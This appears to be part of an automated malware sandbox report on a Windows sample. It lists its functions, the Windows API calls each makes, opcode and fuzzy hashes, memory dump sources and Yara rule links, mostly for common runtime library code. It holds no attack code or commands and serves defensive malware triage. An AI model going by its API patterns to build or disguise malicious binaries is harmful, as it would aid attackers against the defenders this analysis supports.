                                  • Instruction ID: 12be5f6e885239faa743d7973bb43df1207d746609acf01fd347835b89116cf5
                                  • Opcode Fuzzy Hash: af8bbe484688f5c655b3f8dc1e0f427cffe7792f716a7d76ef2434eee06c475e
                                  • Instruction Fuzzy Hash: 5C519031A00615EBCF18DF90C995FAEBB75AF84710F154069ED027B392CB71AE05CBA1
                                  Function 00A8EC6E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,00A8EF8D,?,00000000), ref: 00A8ED07
                                  • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,00A8EF8D,?,00000000), ref: 00A8ED30
                                  • GetACP.KERNEL32(?,?,00A8EF8D,?,00000000), ref: 00A8ED45
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: InfoLocale
                                  • String ID: ACP$OCP
                                  • API String ID: 2299586839-711371036
                                  • Opcode ID: 5a023338bc0883527f0494af3916e37f84dec5e4f8a7fe15781335f69b0c04d1
                                  • Instruction ID: 831377314e932909b82b7fa4626b7cad5f66477f06448d2f39ca57a03373d6ab
                                  • Opcode Fuzzy Hash: 5a023338bc0883527f0494af3916e37f84dec5e4f8a7fe15781335f69b0c04d1
                                  • Instruction Fuzzy Hash: 7B21CC72A00105EADB34FF64C900AA7B7A7FF60B24B668464E90ACB240E732DE45C390
                                  Function 00A8EE42 Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843D9
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843E6
                                  • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 00A8EF4E
                                  • IsValidCodePage.KERNEL32(00000000), ref: 00A8EFA9
                                  • IsValidLocale.KERNEL32(?,00000001), ref: 00A8EFB8
                                  • GetLocaleInfoW.KERNEL32(?,00001001,00A80C69,00000040,?,00A80D89,00000055,00000000,?,?,00000055,00000000), ref: 00A8F000
                                  • GetLocaleInfoW.KERNEL32(?,00001002,00A80CE9,00000040), ref: 00A8F01F
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                  • String ID:
                                  • API String ID: 745075371-0
                                  • Opcode ID: 9db62d48e084977694aac7acadfdbc4f141d87ff72c07b2e32dcbc3a20b153d0
                                  • Instruction ID: 54330c7f4137c1365df7f662dffe11cd08d43d5ac8917bef1c7117989125d8ef
                                  • Opcode Fuzzy Hash: 9db62d48e084977694aac7acadfdbc4f141d87ff72c07b2e32dcbc3a20b153d0
                                  • Instruction Fuzzy Hash: 08514072A00216EBEF20FFA5CC45ABAB7B8FF05701F144569FA15EB191E7709E408B61
                                  Function 00A24390 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 263encryptionCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(00000010,215D2A08,7508FC30,?), ref: 00A243E0
                                  • CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,00AA62DC,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 00A24710
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ContextCryptErrorLastRelease
                                  • String ID: operation failed with error $OS_Rng:
                                  • API String ID: 3299239745-700108173
                                  • Opcode ID: 0ffb754afffeeb228762231c955aedaeae145570c8537320d229d8b461e179ba
                                  • Instruction ID: 5238bd4b23a45f04a7141d0d0980ea4cd6e62492dba9b343a358658ca19ba6c4
                                  • Opcode Fuzzy Hash: 0ffb754afffeeb228762231c955aedaeae145570c8537320d229d8b461e179ba
                                  • Instruction Fuzzy Hash: 0BA1D471A10258CFEB18CF68DD45B9EBBB1FF89304F148258E445AB392DB759A84CF90
                                  Function 009C5330 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 247COMMON
                                  Download Yara Rule
                                  APIs
                                  • WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,215D2A08), ref: 009C53FE
                                  • ReleaseSemaphore.KERNEL32(?,00000001,759230DF,215D2A08), ref: 009C54D9
                                  • ___std_exception_destroy.LIBVCRUNTIME ref: 009C55E6
                                  Strings
                                  • boost shared_lock has no mutex, xrefs: 009C5554
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ObjectReleaseSemaphoreSingleWait___std_exception_destroy
                                  • String ID: boost shared_lock has no mutex
                                  • API String ID: 1459948668-3890706923
                                  • Opcode ID: 0e64a5badd7243199cbc8522c93df468a63fb00bb255d6ea8a33612ed35730fb
                                  • Instruction ID: 715ed194dd3de7c627d9b3a9bde686bca0d3b4338ba85413401821c5977e0acb
                                  • Opcode Fuzzy Hash: 0e64a5badd7243199cbc8522c93df468a63fb00bb255d6ea8a33612ed35730fb
                                  • Instruction Fuzzy Hash: 70810272E00A059FDB18CF54C952BBEB7B5EF44300F25412DE916A7290DB78BE84CB91
                                  Function 009D8380 Relevance: 6.3, APIs: 4, Instructions: 349fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SetErrorMode.KERNEL32(00008003,215D2A08,00000000,?,00000000), ref: 009D84E3
                                  • FindFirstFileW.KERNEL32(?,?,00ABFBE0,00000002,00ABFBDC,?,?,?), ref: 009D853F
                                  • SetErrorMode.KERNEL32(00008003,215D2A08), ref: 009DAF9D
                                  • FindFirstFileW.KERNEL32(?,?,00ABFBE0,00000002), ref: 009DAFC5
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorFileFindFirstMode
                                  • String ID:
                                  • API String ID: 3909587737-0
                                  • Opcode ID: c0a2c21ee83a85d421434a0d85594025bdd27762202385d8b891ef4bdca8aee5
                                  • Instruction ID: 6b84cc740c0b8bf62afb871af8f6b609e20141751ca7af200c9fd9a70765a44a
                                  • Opcode Fuzzy Hash: c0a2c21ee83a85d421434a0d85594025bdd27762202385d8b891ef4bdca8aee5
                                  • Instruction Fuzzy Hash: 84C1DE71A0010A9FCF18DF68CD85BAEB7B5FB85310F50C65AE8159B391DB34AA45CF90
                                  Function 00A8E50A Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                  • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00A80C70,?,?,?,?,00A806C7,?,00000004), ref: 00A8E5EC
                                  • _wcschr.LIBVCRUNTIME ref: 00A8E67C
                                  • _wcschr.LIBVCRUNTIME ref: 00A8E68A
                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,00A80C70,00000000,00A80D90), ref: 00A8E72D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                  • String ID:
                                  • API String ID: 4212172061-0
                                  • Opcode ID: 76c34bd169fd3f85a29043e105330be7f25b7a61c77c48d17aef078043d5492d
                                  • Instruction ID: c6fb100211bd26e014c3bd3624f377d2bc7b7fde1fe1d07a5f097064106ea8fb
                                  • Opcode Fuzzy Hash: 76c34bd169fd3f85a29043e105330be7f25b7a61c77c48d17aef078043d5492d
                                  • Instruction Fuzzy Hash: D461D172A00206EADB24FB74CD46FAA77A8EF18700F14457AF905DB191FB70E90187A0
                                  Function 00A24760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47encryptionCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A247F0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00A2487A
                                  • CryptGenRandom.ADVAPI32(00000000,?,?,215D2A08), ref: 00A2479A
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A247E9
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Crypt$ContextException@8RandomReleaseThrow
                                  • String ID: CryptGenRandom
                                  • API String ID: 1047471967-3616286655
                                  • Opcode ID: 329a19004579e5a10888fe66ca44ea7326bc14831321d15e6c46558107d5f8c0
                                  • Instruction ID: b99aef562d77de130ca4b40c30ce9d7c4178ad5524da59e20da7a703c51550fb
                                  • Opcode Fuzzy Hash: 329a19004579e5a10888fe66ca44ea7326bc14831321d15e6c46558107d5f8c0
                                  • Instruction Fuzzy Hash: 54014031904218EFCB14DF94DD41FEEBBB8FB09710F40466AF812AB290DB756904CB90
                                  Function 009C1020 Relevance: 5.0, Strings: 4, Instructions: 46COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: __onexit
                                  • String ID: Dflt$Dflt$Dflt$Dflt
                                  • API String ID: 1448380652-281602996
                                  • Opcode ID: fa0000a1b47a86e2e905d91b0196c1f007894ad68026c01911c737fddee1c51b
                                  • Instruction ID: c0f6dd41a6ecc51bb0eff7c1f5e6d3d47392f5c8140d34afc7d6cd36a0183756
                                  • Opcode Fuzzy Hash: fa0000a1b47a86e2e905d91b0196c1f007894ad68026c01911c737fddee1c51b
                                  • Instruction Fuzzy Hash: 5B1113B0504688EBE705CFD4ED96F9A7BA4F305708F004619E6451F3A0C7FA118ACB84
                                  Function 00A8E8F5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843D9
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843E6
                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A8E949
                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A8E99A
                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A8EA5A
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorInfoLastLocale$_free$_abort
                                  • String ID:
                                  • API String ID: 2829624132-0
                                  • Opcode ID: 772fa911e3645806951460660fe3622cd2efc865c25cca0d1b7fa7a91ab631d3
                                  • Instruction ID: 61e0023b07a4b44878302962e0e1472f70240b293f31f0f6940c8b55829a5763
                                  • Opcode Fuzzy Hash: 772fa911e3645806951460660fe3622cd2efc865c25cca0d1b7fa7a91ab631d3
                                  • Instruction Fuzzy Hash: 4461BC71910207EBEB28FF24CD82BBAB7A8FF04741F1081B9E906D6581E774E981CB50
                                  Function 00A4C860 Relevance: 4.6, APIs: 3, Instructions: 80fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateFileW.KERNEL32(00A4CC7E,00000008,00000007,00000000,00000003,02200000,00000000,215D2A08,?,00000000,?,00A4CC7E,?), ref: 00A4C8A3
                                  • DeviceIoControl.KERNEL32(00000000,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 00A4C8EA
                                  • CloseHandle.KERNEL32(00000000), ref: 00A4C924
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CloseControlCreateDeviceFileHandle
                                  • String ID:
                                  • API String ID: 33631002-0
                                  • Opcode ID: 238d6d14dc0e7b6d0a3d3b44f68e24bc23451f93ea0a02df84ff75792da46b71
                                  • Instruction ID: 89a5ea6f56aee7ce17627ab0a8d49a226afa67dc223981e9cf828e46ddcbb552
                                  • Opcode Fuzzy Hash: 238d6d14dc0e7b6d0a3d3b44f68e24bc23451f93ea0a02df84ff75792da46b71
                                  • Instruction Fuzzy Hash: C6213B75B82204BFEF60CB68DC46F9A77B8EB42721F200225F959E72C1D7749A04C751
                                  Function 00A74F58 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00A75050
                                  • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00A7505A
                                  • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00A75067
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                  • String ID:
                                  • API String ID: 3906539128-0
                                  • Opcode ID: 946c09baa996e36cc7017c70cd47b9f86ee69c20ecc8c40a8c070039fc3bcd2b
                                  • Instruction ID: 18002acb5a854053e22085038810fd45f5098ba4ab56aa54397b63bac3bb010b
                                  • Opcode Fuzzy Hash: 946c09baa996e36cc7017c70cd47b9f86ee69c20ecc8c40a8c070039fc3bcd2b
                                  • Instruction Fuzzy Hash: BD31D575D012299BCB21DF64DD89B9DBBB8BF08310F5082DAE91CA7250E7709F858F45
                                  Function 00A70E79 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentProcess.KERNEL32(?,?,00A70E4F,?,00ADC978,0000000C,00A70FA6,?,00000002,00000000), ref: 00A70E9A
                                  • TerminateProcess.KERNEL32(00000000,?,00A70E4F,?,00ADC978,0000000C,00A70FA6,?,00000002,00000000), ref: 00A70EA1
                                  • ExitProcess.KERNEL32 ref: 00A70EB3
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Process$CurrentExitTerminate
                                  • String ID:
                                  • API String ID: 1703294689-0
                                  • Opcode ID: 6012f6edaf39dbd713f81d5d91e142c586f018ee841eb3c048090bb33c152d44
                                  • Instruction ID: 1bb76cd8e183e47dc6032ed7daf442c3c9eb611f99aecead8d34eacadc6540ee
                                  • Opcode Fuzzy Hash: 6012f6edaf39dbd713f81d5d91e142c586f018ee841eb3c048090bb33c152d44
                                  • Instruction Fuzzy Hash: F7E0BF32040145EFCF11EF54DE09EA97B69EF55755F048414F94946561CB35EE42CB40
                                  Function 00A8311A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,00A806C7,?,00000004), ref: 00A8316D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: InfoLocale
                                  • String ID: GetLocaleInfoEx
                                  • API String ID: 2299586839-2904428671
                                  • Opcode ID: caa327b652c6171dad103c257ed413438b2c239f7bd30af3ea3cd551788ff44e
                                  • Instruction ID: 2320daf7d4310d2f3ebc08921b1cc6db434b76d55d9a407f50c8ab0db95748ec
                                  • Opcode Fuzzy Hash: caa327b652c6171dad103c257ed413438b2c239f7bd30af3ea3cd551788ff44e
                                  • Instruction Fuzzy Hash: E3F06232A40218BBCF05AFA5DC05F6E7B65EB05B11F008515FD0656290EB719B119795
                                  Function 00A4C03B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • ___crtGetLocaleInfoEx.LIBCPMT ref: 00A4C056
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
